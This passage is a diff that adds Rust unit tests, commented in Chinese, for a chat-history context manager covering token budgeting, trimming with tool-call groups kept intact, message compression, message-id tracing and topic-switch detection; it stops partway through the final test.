@@ -0,0 +1,719 @@
|
||||
//! `ContextManager` 方法级单测 — 从 `mod.rs` 抽出以控制 `mod.rs` 行数。
|
||||
//!
|
||||
//! 这些测试覆盖 `ContextManager` 各公开/私有方法(push / build_for_request / compress /
|
||||
//! topic marker / 溯源 id 等),需访问私有字段与方法,故仍置于 `crate::context` 模块树内
|
||||
//! (`mod manager_tests;` 由 `mod.rs` 通过 `#[cfg(test)] mod manager_tests;` 引入)。
|
||||
|
||||
#![cfg(test)]
|
||||
|
||||
use super::*;
|
||||
use crate::context_helpers::{ContextConfig, TokenEstimator, PROTECT_COUNT};
|
||||
use crate::provider::ToolCall;
|
||||
|
||||
fn cfg(max_tokens: u32) -> ContextConfig {
|
||||
ContextConfig {
|
||||
max_tokens,
|
||||
output_reserve: 0,
|
||||
safety_ratio: 1.0,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn estimate_message_counts_parts_tokens() {
|
||||
// F-260614-05 多模态回归:含图消息的大段 base64 必须计入 token 预算,
|
||||
// 否则 history_tokens 严重低估 → build_for_request 不裁剪 → provider 超限。
|
||||
let est = TokenEstimator::default();
|
||||
|
||||
// 纯文本基线
|
||||
let text_msg = ChatMessage::user("短文本");
|
||||
let text_tokens = est.estimate_message(&text_msg);
|
||||
|
||||
// 同样 content + 含大段 base64 的 parts → token 应显著高于纯文本
|
||||
let big_base64 = "iVBORw0KGgoAAAANS".repeat(100); // ~1.7k 字符
|
||||
let multimodal = ChatMessage::user_parts(
|
||||
"短文本",
|
||||
vec![crate::provider::ContentPart::image_base64("image/png", big_base64.clone())],
|
||||
);
|
||||
let mm_tokens = est.estimate_message(&multimodal);
|
||||
|
||||
assert!(
|
||||
mm_tokens > text_tokens,
|
||||
"含图消息 token({}) 应高于纯文本({})",
|
||||
mm_tokens,
|
||||
text_tokens
|
||||
);
|
||||
// base64 字符按 0.35 粗估,约 1.7k * 0.35 ≈ 595 tokens 量级
|
||||
assert!(
|
||||
mm_tokens > 500,
|
||||
"大 base64 应贡献可观 token,实际 {}",
|
||||
mm_tokens
|
||||
);
|
||||
|
||||
// url 模式(无字节)也按 URL 长度估算,不爆
|
||||
let url_msg = ChatMessage::user_parts(
|
||||
"t",
|
||||
vec![crate::provider::ContentPart::image_url("https://example.com/x.png")],
|
||||
);
|
||||
let url_tokens = est.estimate_message(&url_msg);
|
||||
assert!(url_tokens > text_tokens, "url 片也应有少量 token 贡献");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn short_history_no_trim() {
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("你好"));
|
||||
mgr.push(ChatMessage::assistant("你好啊"));
|
||||
let (msgs, trimmed) = mgr.build_for_request(10);
|
||||
assert!(!trimmed);
|
||||
assert_eq!(msgs.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn over_budget_trims_old() {
|
||||
// 小预算强制裁剪:20 条超预算,触发裁剪且保留保护区
|
||||
let mut mgr = ContextManager::new(cfg(200));
|
||||
// user/assistant 交替(真实对话序列;连续 user 会被 ensure_sequence_legal 合并,无法测条数裁剪)
|
||||
for i in 0..20 {
|
||||
if i % 2 == 0 {
|
||||
mgr.push(ChatMessage::user(&format!("这是第 {} 条较长的消息用于撑爆预算", i)));
|
||||
} else {
|
||||
mgr.push(ChatMessage::assistant(&format!("第 {} 条较长的回复用于撑爆预算", i)));
|
||||
}
|
||||
}
|
||||
let (msgs, trimmed) = mgr.build_for_request(0);
|
||||
assert!(trimmed, "超预算应触发裁剪");
|
||||
assert!(msgs.len() < 20, "应裁掉部分旧消息, 实际 {}", msgs.len());
|
||||
|
||||
// 保护区:最新一条必保留(末条 i=19 是 assistant)
|
||||
assert_eq!(
|
||||
msgs.last().unwrap().content,
|
||||
"第 19 条较长的回复用于撑爆预算",
|
||||
"保护区最新消息被误裁"
|
||||
);
|
||||
|
||||
// 裁剪是视图:内存全量不变
|
||||
assert_eq!(mgr.all_messages_clone().len(), 20, "裁剪污染了内存全量");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tool_triplet_kept_atomic() {
|
||||
// 三元组不可分离:Head 与 Tail 同进同出,永不从中间切断
|
||||
// 布局:6 旧(淘汰区) + 三元组(裁剪边界) + 6 新(保护区) = 15 条
|
||||
let mut mgr = ContextManager::new(cfg(95));
|
||||
for i in 0..6 {
|
||||
mgr.push(ChatMessage::user(&format!("旧消息 {}", i)));
|
||||
}
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调工具",
|
||||
vec![ToolCall::new("tc1", "read_file", "{}")],
|
||||
));
|
||||
mgr.push(ChatMessage::tool_result("tc1", "文件内容"));
|
||||
mgr.push(ChatMessage::assistant("完成"));
|
||||
for i in 0..6 {
|
||||
mgr.push(ChatMessage::user(&format!("新消息 {}", i)));
|
||||
}
|
||||
|
||||
// 分支一:预算宽松,三元组整体保留 → Head 在则 Tail 在
|
||||
let (msgs_keep, trimmed1) = mgr.build_for_request(0);
|
||||
assert!(trimmed1, "分支一应触发裁剪");
|
||||
assert_eq!(
|
||||
has_head(&msgs_keep),
|
||||
has_tail(&msgs_keep),
|
||||
"分支一三元组被切断: head={} tail={}",
|
||||
has_head(&msgs_keep),
|
||||
has_tail(&msgs_keep)
|
||||
);
|
||||
|
||||
// 分支二:预算紧张,三元组整体丢弃 → Head 不在则 Tail 也不在
|
||||
let (msgs_drop, trimmed2) = mgr.build_for_request(40);
|
||||
assert!(trimmed2, "分支二应触发裁剪");
|
||||
assert_eq!(
|
||||
has_head(&msgs_drop),
|
||||
has_tail(&msgs_drop),
|
||||
"分支二三元组被切断: head={} tail={}",
|
||||
has_head(&msgs_drop),
|
||||
has_tail(&msgs_drop)
|
||||
);
|
||||
|
||||
// 裁剪是视图:两次 build 都不应改变内存全量
|
||||
assert_eq!(
|
||||
mgr.all_messages_clone().len(),
|
||||
15,
|
||||
"裁剪污染了内存全量"
|
||||
);
|
||||
}
|
||||
|
||||
fn has_head(msgs: &[ChatMessage]) -> bool {
|
||||
msgs.iter()
|
||||
.any(|m| matches!(m.role, MessageRole::Assistant) && m.tool_calls.is_some())
|
||||
}
|
||||
|
||||
fn has_tail(msgs: &[ChatMessage]) -> bool {
|
||||
msgs.iter().any(|m| matches!(m.role, MessageRole::Tool))
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn replace_tool_result_updates_tokens() {
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::tool_result("tc1", "短"));
|
||||
let before = mgr.history_tokens();
|
||||
assert!(mgr.replace_tool_result_content("tc1", "这是一个明显更长的替换内容用于验证 token 重估"));
|
||||
let after = mgr.history_tokens();
|
||||
assert!(after > before);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn restore_rebuilds_token_cache() {
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
let src = vec![
|
||||
ChatMessage::user("测试消息一"),
|
||||
ChatMessage::assistant("回复一"),
|
||||
ChatMessage::user("测试消息二"),
|
||||
];
|
||||
mgr.restore_from_messages(src);
|
||||
assert!(mgr.history_tokens() > 0);
|
||||
assert_eq!(mgr.len(), 3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn push_token_only_active() {
|
||||
// F-15 §3.3:!active 消息(truncated / archived_segment / compressed)仍 push
|
||||
// 到 self.messages(全量保留,持久化/前端视图自管),但不计入 history_tokens,
|
||||
// 避免 build_for_request 误判超预算触发不必要裁剪。
|
||||
|
||||
// 1) 直接 push 路径
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
let active_msg = ChatMessage::user("这条是 active 的");
|
||||
let active_tokens = TokenEstimator::default().estimate_message(&active_msg);
|
||||
let mut inactive_msg = ChatMessage::assistant("这条被截断了不该计 token");
|
||||
inactive_msg.status = Some(MessageStatus::Truncated);
|
||||
let inactive_tokens = TokenEstimator::default().estimate_message(&inactive_msg);
|
||||
|
||||
mgr.push(active_msg);
|
||||
mgr.push(inactive_msg);
|
||||
|
||||
// 全量保留(两条都在内存)
|
||||
assert_eq!(mgr.len(), 2, "active + !active 都应 push 到 self.messages");
|
||||
assert_eq!(mgr.all_messages_clone().len(), 2, "持久化全量不受 push 修正影响");
|
||||
// token 预算只含 active
|
||||
assert_eq!(
|
||||
mgr.history_tokens(),
|
||||
active_tokens,
|
||||
"history_tokens 应只含 active,多算了 {}(inactive 应被忽略)",
|
||||
mgr.history_tokens().saturating_sub(active_tokens)
|
||||
);
|
||||
assert!(
|
||||
inactive_tokens > 0,
|
||||
"前提:inactive 消息本身确有 token,否则无法证明它被排除"
|
||||
);
|
||||
|
||||
// 2) restore_from_messages 路径(调 push,token 同步仅 active)
|
||||
let mut mgr2 = ContextManager::new(cfg(100_000));
|
||||
let mut a = ChatMessage::user("active 一");
|
||||
a.status = Some(MessageStatus::Active);
|
||||
let mut b = ChatMessage::user("archived 一");
|
||||
b.status = Some(MessageStatus::ArchivedSegment);
|
||||
let mut c = ChatMessage::user("compressed 一");
|
||||
c.status = Some(MessageStatus::Compressed);
|
||||
mgr2.restore_from_messages(vec![a, b, c]);
|
||||
|
||||
assert_eq!(mgr2.len(), 3, "restore 后全量保留三条");
|
||||
// 只 active 一条计 token(b/c 是白名单外状态,is_active 返回 false)
|
||||
let only_active_tokens = TokenEstimator::default()
|
||||
.estimate_message(&ChatMessage::user("active 一"));
|
||||
assert_eq!(
|
||||
mgr2.history_tokens(),
|
||||
only_active_tokens,
|
||||
"restore 后 history_tokens 应只含 active 一条,archived/compressed 不计"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn empty_history_returns_empty() {
|
||||
let mgr = ContextManager::new(cfg(100_000));
|
||||
let (msgs, trimmed) = mgr.build_for_request(10);
|
||||
assert!(!trimmed);
|
||||
assert!(msgs.is_empty(), "空历史应返回空列表");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn protect_zone_returns_full_when_untrimmable() {
|
||||
// 消息全在保护区(< PROTECT_COUNT 条)且超预算 → 无可淘汰单元,走 trim_end==0 兜底返回全量
|
||||
let mut mgr = ContextManager::new(cfg(10));
|
||||
mgr.push(ChatMessage::user("撑爆小预算的长消息内容"));
|
||||
mgr.push(ChatMessage::assistant("第二条撑爆预算的长消息"));
|
||||
let (msgs, trimmed) = mgr.build_for_request(0);
|
||||
assert!(!trimmed, "无可淘汰单元应返回 false(兜底)");
|
||||
assert_eq!(msgs.len(), 2, "兜底 sanitize 后返回全部保护区消息(user/assistant 交替不合并)");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn system_over_budget_trims_to_protect_zone() {
|
||||
// system prompt 吃光预算 → history 仍尝试裁剪到保护区,不 panic
|
||||
let mut mgr = ContextManager::new(cfg(200));
|
||||
for i in 0..10 {
|
||||
mgr.push(ChatMessage::user(&format!("消息 {} 撑量", i)));
|
||||
}
|
||||
let (msgs, _trimmed) = mgr.build_for_request(195);
|
||||
assert!(
|
||||
msgs.len() <= PROTECT_COUNT,
|
||||
"system 超预算时裁剪后至多保留保护区 {} 条,实际 {}",
|
||||
PROTECT_COUNT,
|
||||
msgs.len()
|
||||
);
|
||||
}
|
||||
|
||||
// ── F-15 阶段1 辅助方法单测 ──
|
||||
|
||||
#[test]
|
||||
fn compress_old_messages_marks_compressed_and_returns_refs() {
|
||||
// F-15 §4.2/§4.3:compress_old_messages 把 [0, end) 内 active 消息标 compressed,
|
||||
// 同步扣 history_tokens,返回它们的克隆供 LLM 摘要。持久化全量保留。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("旧消息1"));
|
||||
mgr.push(ChatMessage::assistant("旧回复1"));
|
||||
mgr.push(ChatMessage::user("新消息2"));
|
||||
let tokens_before = mgr.history_tokens();
|
||||
assert!(tokens_before > 0);
|
||||
|
||||
let compressed = mgr.compress_old_messages(2);
|
||||
assert_eq!(compressed.len(), 2, "应压缩前 2 条 active");
|
||||
assert_eq!(compressed[0].content, "旧消息1");
|
||||
assert_eq!(compressed[1].content, "旧回复1");
|
||||
|
||||
// status 已改 compressed
|
||||
assert_eq!(mgr.messages_mut()[0].message.status.as_ref(), Some(&MessageStatus::Compressed));
|
||||
assert_eq!(mgr.messages_mut()[1].message.status.as_ref(), Some(&MessageStatus::Compressed));
|
||||
// 保护区外(本例 index 2)仍 active
|
||||
assert!(mgr.messages_mut()[2].message.is_active(), "保护区外消息不应被动");
|
||||
|
||||
// 持久化全量不变
|
||||
assert_eq!(mgr.all_messages_clone().len(), 3, "compress 不应删消息(单向,全量保留)");
|
||||
|
||||
// token 已扣(剩第 3 条的)
|
||||
let only_third_tokens = TokenEstimator::default().estimate_message(&ChatMessage::user("新消息2"));
|
||||
assert_eq!(mgr.history_tokens(), only_third_tokens, "history_tokens 应扣除前两条");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn compress_old_messages_is_idempotent() {
|
||||
// 幂等:已 compressed 不二次压缩,二次调用返回空 Vec 且 history_tokens 不再变。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("a"));
|
||||
mgr.push(ChatMessage::user("b"));
|
||||
|
||||
let first = mgr.compress_old_messages(2);
|
||||
assert_eq!(first.len(), 2);
|
||||
let tokens_after_first = mgr.history_tokens();
|
||||
|
||||
let second = mgr.compress_old_messages(2);
|
||||
assert!(second.is_empty(), "二次压缩应返回空(已 compressed 不重压)");
|
||||
assert_eq!(
|
||||
mgr.history_tokens(),
|
||||
tokens_after_first,
|
||||
"二次压缩 history_tokens 不应再变(幂等)"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn compress_old_messages_clamps_oversized_end() {
|
||||
// compress_end 越界自动 clamp 到 len,不 panic。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("唯一"));
|
||||
let compressed = mgr.compress_old_messages(999);
|
||||
assert_eq!(compressed.len(), 1, "越界 end 应 clamp 到 len(1)");
|
||||
assert_eq!(mgr.history_tokens(), 0, "全量压缩后 history_tokens 归零");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn compress_old_messages_skips_already_inactive() {
|
||||
// 范围内含 truncated(已 !active)的消息:跳过,不返,不重复扣 token。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
let mut truncated = ChatMessage::user("被截断");
|
||||
truncated.status = Some(MessageStatus::Truncated);
|
||||
mgr.push(truncated);
|
||||
mgr.push(ChatMessage::user("active 一条"));
|
||||
let tokens_before = mgr.history_tokens();
|
||||
// truncated 已不计 token(见 push_token_only_active),所以 tokens_before 只含 active 一条
|
||||
|
||||
let compressed = mgr.compress_old_messages(2);
|
||||
assert_eq!(compressed.len(), 1, "只压缩 active 那条,truncated 跳过");
|
||||
assert_eq!(mgr.history_tokens(), 0);
|
||||
assert_eq!(
|
||||
mgr.history_tokens(),
|
||||
tokens_before.saturating_sub(tokens_before),
|
||||
"幂等扣除:truncated 本就没计 token,active 扣光"
|
||||
);
|
||||
// truncated 状态不被改成 compressed(保留原 truncated,语义不混淆)
|
||||
assert_eq!(
|
||||
mgr.messages_mut()[0].message.status.as_ref(),
|
||||
Some(&MessageStatus::Truncated),
|
||||
"已 truncated 不应被改写为 compressed"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn has_compressible_messages_respects_protect_zone() {
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
for i in 0..8 {
|
||||
mgr.push(ChatMessage::user(&format!("消息 {}", i)));
|
||||
}
|
||||
// protect_start=6 → [0,6) 内有 active → true
|
||||
assert!(mgr.has_compressible_messages(6));
|
||||
// protect_start=0 → 空范围 → false
|
||||
assert!(!mgr.has_compressible_messages(0));
|
||||
// 全部压缩后 → false
|
||||
mgr.compress_old_messages(6);
|
||||
assert!(!mgr.has_compressible_messages(6), "全 compressed 后不应有可压缩消息");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_compressing_flag_round_trip() {
|
||||
// 标志位读写 round-trip;clear() 复位。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
assert!(!mgr.is_compressing(), "默认 false");
|
||||
mgr.set_compressing(true);
|
||||
assert!(mgr.is_compressing(), "set true 后应读到 true");
|
||||
mgr.set_compressing(false);
|
||||
assert!(!mgr.is_compressing(), "set false 后复位");
|
||||
// clear 复位
|
||||
mgr.set_compressing(true);
|
||||
mgr.clear();
|
||||
assert!(!mgr.is_compressing(), "clear() 应复位 is_compressing");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn insert_at_adds_to_budget_when_active() {
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("a"));
|
||||
let tokens_before = mgr.history_tokens();
|
||||
|
||||
// 插入 active system 消息 → 计入 token
|
||||
mgr.insert_at(0, ChatMessage::system("## 摘要"));
|
||||
assert!(mgr.history_tokens() > tokens_before, "active 消息应计入 token");
|
||||
assert_eq!(mgr.len(), 2);
|
||||
assert_eq!(mgr.messages_mut()[0].message.content, "## 摘要");
|
||||
|
||||
// 插入 !active 消息 → 不计入 token
|
||||
let tokens_before_inactive = mgr.history_tokens();
|
||||
let mut inactive = ChatMessage::user("x");
|
||||
inactive.status = Some(MessageStatus::Truncated);
|
||||
mgr.insert_at(0, inactive);
|
||||
assert_eq!(
|
||||
mgr.history_tokens(),
|
||||
tokens_before_inactive,
|
||||
"!active 消息插入不应计 token"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn build_eviction_units_keeps_triplet_atomic_public() {
|
||||
// 公开的 build_eviction_units:三元组(Head + Tail + Standalone Assistant)应落同一单元。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("前置"));
|
||||
mgr.push(ChatMessage::assistant_with_tools(
|
||||
"调",
|
||||
vec![ToolCall::new("c1", "fn", "{}")],
|
||||
));
|
||||
mgr.push(ChatMessage::tool_result("c1", "结果"));
|
||||
mgr.push(ChatMessage::assistant("完成"));
|
||||
mgr.push(ChatMessage::user("后置"));
|
||||
// protect_start=5(全部纳入)
|
||||
let units = mgr.build_eviction_units(5);
|
||||
// 第一个单元是前置 Standalone(end=1);第二个单元应包含三元组三件套 + 后置应分开
|
||||
// 确认三元组的 Head+Tail+Assistant 在同一单元(end 跳过 3)
|
||||
let unit2 = units.iter().find(|u| u.end >= 4).expect("应有跨三元组的单元");
|
||||
assert!(
|
||||
unit2.end >= 4,
|
||||
"三元组三件套应在同一淘汰单元, end={}",
|
||||
unit2.end
|
||||
);
|
||||
}
|
||||
|
||||
// ── F-260619-04 P1 消息级溯源:last_assistant/last_user message_id ──
|
||||
|
||||
#[test]
|
||||
fn last_assistant_message_id_returns_latest() {
|
||||
// 多条 assistant,反向扫描取末条 id(本轮 AI 产出的载体)
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("问1"));
|
||||
let first = push_and_get_id(&mut mgr, ChatMessage::assistant("答1"));
|
||||
mgr.push(ChatMessage::user("问2"));
|
||||
let last = push_and_get_id(&mut mgr, ChatMessage::assistant("答2"));
|
||||
// 末条 assistant id 应是 last(非 first)
|
||||
assert_eq!(
|
||||
mgr.last_assistant_message_id().as_deref(),
|
||||
Some(last.as_str()),
|
||||
"应取末条 assistant id, 而非首条"
|
||||
);
|
||||
assert_ne!(
|
||||
mgr.last_assistant_message_id().as_deref(),
|
||||
Some(first.as_str())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn last_user_message_id_returns_latest() {
|
||||
// 多条 user,反向扫描取末条 id(触发本轮检索的 user)
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("问1"));
|
||||
mgr.push(ChatMessage::assistant("答1"));
|
||||
let last_user = push_and_get_id(&mut mgr, ChatMessage::user("问2"));
|
||||
assert_eq!(
|
||||
mgr.last_user_message_id().as_deref(),
|
||||
Some(last_user.as_str())
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn last_message_id_none_when_no_such_role() {
|
||||
// 无 assistant → None;无 user → None
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("只有 user"));
|
||||
assert!(
|
||||
mgr.last_assistant_message_id().is_none(),
|
||||
"无 assistant 消息应返 None"
|
||||
);
|
||||
|
||||
let mut mgr2 = ContextManager::new(cfg(100_000));
|
||||
mgr2.push(ChatMessage::assistant("只有 assistant"));
|
||||
assert!(
|
||||
mgr2.last_user_message_id().is_none(),
|
||||
"无 user 消息应返 None"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn last_message_id_none_for_legacy_no_id() {
|
||||
// 老数据反序列化消息 id=None → 返 None(向前兼容,溯源降级 conv: 旧格式)
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
let mut legacy = ChatMessage::assistant("老消息无 id");
|
||||
legacy.id = None;
|
||||
mgr.push(legacy);
|
||||
assert!(
|
||||
mgr.last_assistant_message_id().is_none(),
|
||||
"老消息无 id 应返 None(向前兼容)"
|
||||
);
|
||||
}
|
||||
|
||||
/// helper:push 一条消息并返回其 id(测试用,确认取到的是该消息自身 id)
|
||||
fn push_and_get_id(mgr: &mut ContextManager, message: ChatMessage) -> String {
|
||||
let id = message.id.clone();
|
||||
mgr.push(message);
|
||||
id.expect("新构造消息必有 id")
|
||||
}
|
||||
|
||||
// ── [P2 改进5] 主题切换检测(保守,双高置信才标) ──
|
||||
|
||||
#[test]
|
||||
fn topic_marker_triggers_on_two_different_high_conf_topics() {
|
||||
// 双高置信:两条 user 消息各自 intent 置信 >= 0.7 且不同 topic → 置位 marker。
|
||||
// "帮我重构这段代码"(Code, conf=1.0) + "创建项目并绑定目录"(Project, conf=1.0)
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("帮我重构这段代码"));
|
||||
// 此时只有一条 user,无 marker
|
||||
assert!(mgr.take_topic_marker().is_none(), "首条 user 不触发 marker");
|
||||
mgr.push(ChatMessage::user("创建项目并绑定目录"));
|
||||
let marker = mgr.take_topic_marker()
|
||||
.expect("双不同 topic 应置位 marker");
|
||||
assert!(marker.contains("code"), "old topic 应为 code, 实际: {}", marker);
|
||||
assert!(marker.contains("project"), "new topic 应为 project, 实际: {}", marker);
|
||||
// take 后清空(幂等)
|
||||
assert!(mgr.take_topic_marker().is_none(), "take 后应清空");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_not_triggered_on_same_topic() {
|
||||
// 同 topic(code/code)→ 不置位(非切换)。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("重构这段代码"));
|
||||
mgr.push(ChatMessage::user("再重构另一段代码"));
|
||||
assert!(mgr.take_topic_marker().is_none(), "同 topic 不应触发 marker");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_not_triggered_when_either_topic_none() {
|
||||
// 保守:任一 topic 为 None(低置信未标)不置位。
|
||||
// "今天的天气不错"(Unknown, conf=0.0 → topic=None) + "重构代码"(Code, conf 高)
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("今天的天气不错啊"));
|
||||
mgr.push(ChatMessage::user("帮我重构这段代码"));
|
||||
assert!(mgr.take_topic_marker().is_none(), "前一条 topic None 不应触发 marker(保守)");
|
||||
|
||||
// 反向:前一条高置信 + 后一条低置信
|
||||
let mut mgr2 = ContextManager::new(cfg(100_000));
|
||||
mgr2.push(ChatMessage::user("帮我重构这段代码"));
|
||||
mgr2.push(ChatMessage::user("嗯嗯好的"));
|
||||
assert!(mgr2.take_topic_marker().is_none(), "后一条 topic None 不应触发 marker(保守)");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_not_polluting_compression_or_trim() {
|
||||
// topic 字段不参与裁剪/压缩(只检测):超预算裁剪 + 压缩后消息仍正常,
|
||||
// topic 标记独立工作。push 足量消息撑爆小预算触发裁剪。
|
||||
let mut mgr = ContextManager::new(cfg(80));
|
||||
for i in 0..10 {
|
||||
mgr.push(ChatMessage::user(&format!("重构代码第 {} 条长消息撑爆预算", i)));
|
||||
}
|
||||
mgr.push(ChatMessage::user("创建项目并绑定目录")); // Project topic → marker
|
||||
let _ = mgr.take_topic_marker(); // 消费 marker(topic 不影响裁剪)
|
||||
// 裁剪仍正常工作(topic 字段不参与裁剪逻辑)
|
||||
let (msgs, trimmed) = mgr.build_for_request(0);
|
||||
assert!(trimmed);
|
||||
assert!(!msgs.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_field_default_none_in_constructors() {
|
||||
// TrackedMessage.topic 在 push/insert_at 构造时默认 None(push 会按 intent 推断覆盖,
|
||||
// insert_at 始终 None——insert_at 不做主题推断,保守)。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.insert_at(0, ChatMessage::system("摘要"));
|
||||
// insert_at 的 system 消息 topic=None(role 非 User)
|
||||
assert_eq!(mgr.messages_mut()[0].topic, None);
|
||||
}
|
||||
|
||||
// ===== 苁刻测:主题切换检测对抗/边界/链式 =====
|
||||
|
||||
#[test]
|
||||
fn topic_marker_chained_three_switches_each_triggers() {
|
||||
// 对抗(链式):A→B→C 三次连续主题切换,每次 push 不同 topic 都应置位 marker。
|
||||
// 验证 last_user_topic 反向扫描取最近 user,链式切换逐次触发不漏。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
|
||||
// 1. Code
|
||||
mgr.push(ChatMessage::user("帮我重构这段代码")); // topic=code
|
||||
assert!(mgr.take_topic_marker().is_none(), "首条不触发");
|
||||
|
||||
// 2. Code → Project(切换)
|
||||
mgr.push(ChatMessage::user("创建项目并绑定目录")); // topic=project
|
||||
let m1 = mgr.take_topic_marker().expect("code→project 应触发");
|
||||
assert!(m1.contains("code") && m1.contains("project"), "marker1: {}", m1);
|
||||
assert!(mgr.take_topic_marker().is_none(), "take 后清空");
|
||||
|
||||
// 3. Project → Task(切换)
|
||||
mgr.push(ChatMessage::user("推进这个任务到下一状态")); // topic=task
|
||||
let m2 = mgr.take_topic_marker().expect("project→task 应触发");
|
||||
assert!(m2.contains("project") && m2.contains("task"), "marker2: {}", m2);
|
||||
|
||||
// 4. Task → Http(切换,证链式不因中间穿插断)
|
||||
mgr.push(ChatMessage::user("调用接口请求这个 api")); // topic=http
|
||||
let m3 = mgr.take_topic_marker().expect("task→http 应触发");
|
||||
assert!(m3.contains("task") && m3.contains("http"), "marker3: {}", m3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_low_confidence_chain_never_triggers() {
|
||||
// 对抗(低置信链):连续 push 低置信(Unknown)消息 → topic 全 None → 永不置位
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("嗯嗯好的")); // Unknown/0.0 → None
|
||||
assert!(mgr.take_topic_marker().is_none());
|
||||
mgr.push(ChatMessage::user("啊这样啊")); // Unknown/0.0 → None
|
||||
assert!(mgr.take_topic_marker().is_none(), "双 None 链不触发");
|
||||
// 再接一条高置信,但前一条 None → 仍不触发(保守:任一 None 即不标)
|
||||
mgr.push(ChatMessage::user("重构这段代码")); // Code/1.0
|
||||
assert!(
|
||||
mgr.take_topic_marker().is_none(),
|
||||
"前一条 topic None,即使本条高置信也不触发(双高置信约束)"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_high_then_low_confidence_never_triggers() {
|
||||
// 对抗(反向低置信链):高置信 → 低置信,后一条 None → 不触发
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("重构这段代码")); // Code/1.0
|
||||
assert!(mgr.take_topic_marker().is_none());
|
||||
mgr.push(ChatMessage::user("嗯嗯好的")); // Unknown/0.0 → None
|
||||
assert!(
|
||||
mgr.take_topic_marker().is_none(),
|
||||
"后一条 topic None,即使前一条高置信也不触发"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_marker_switch_back_to_same_after_different_not_triggered() {
|
||||
// 边界:A→B→A:第二次 A 时,末两条 user 是 B(高)→ A(高),不同 → 应触发。
|
||||
// 验证 last_user_topic 只看最近一条 user,不缓存历史(不会因"曾标过 code"漏判)
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("重构这段代码")); // code
|
||||
mgr.push(ChatMessage::user("创建项目并绑定目录")); // project → 触发 code|project
|
||||
let _ = mgr.take_topic_marker();
|
||||
mgr.push(ChatMessage::user("再重构另一段代码")); // code(末两条:project→code 不同)
|
||||
let m = mgr.take_topic_marker().expect("project→code 切回应触发");
|
||||
assert!(m.contains("project") && m.contains("code"), "切回原 topic 也应触发: {}", m);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn topic_field_survives_compress_old_messages() {
|
||||
// 对抗(topic 跨 compress):compress_old_messages 只改 status,不动 topic 字段。
|
||||
// 压缩后 compressed 消息的 topic 标签保留(向前兼容,DB/内存一致性)。
|
||||
let mut mgr = ContextManager::new(cfg(100_000));
|
||||
mgr.push(ChatMessage::user("重构这段代码")); // idx 0, topic=code
|
||||
mgr.push(ChatMessage::user("读取这个文件")); // idx 1, topic=file
|
||||
mgr.push(ChatMessage::assistant("ok")); // idx 2
|
||||
|
||||
// 压缩 [0,2):idx 0/1 标 compressed
|
||||
let compressed = mgr.compress_old_messages(2);
|
||||
assert_eq!(compressed.len(), 2);
|
||||
// topic 字段保留(compress 不触碰)
|
||||
assert_eq!(mgr.messages_mut()[0].topic.as_deref(), Some("code"), "compressed 消息 topic 应保留");
|
||||
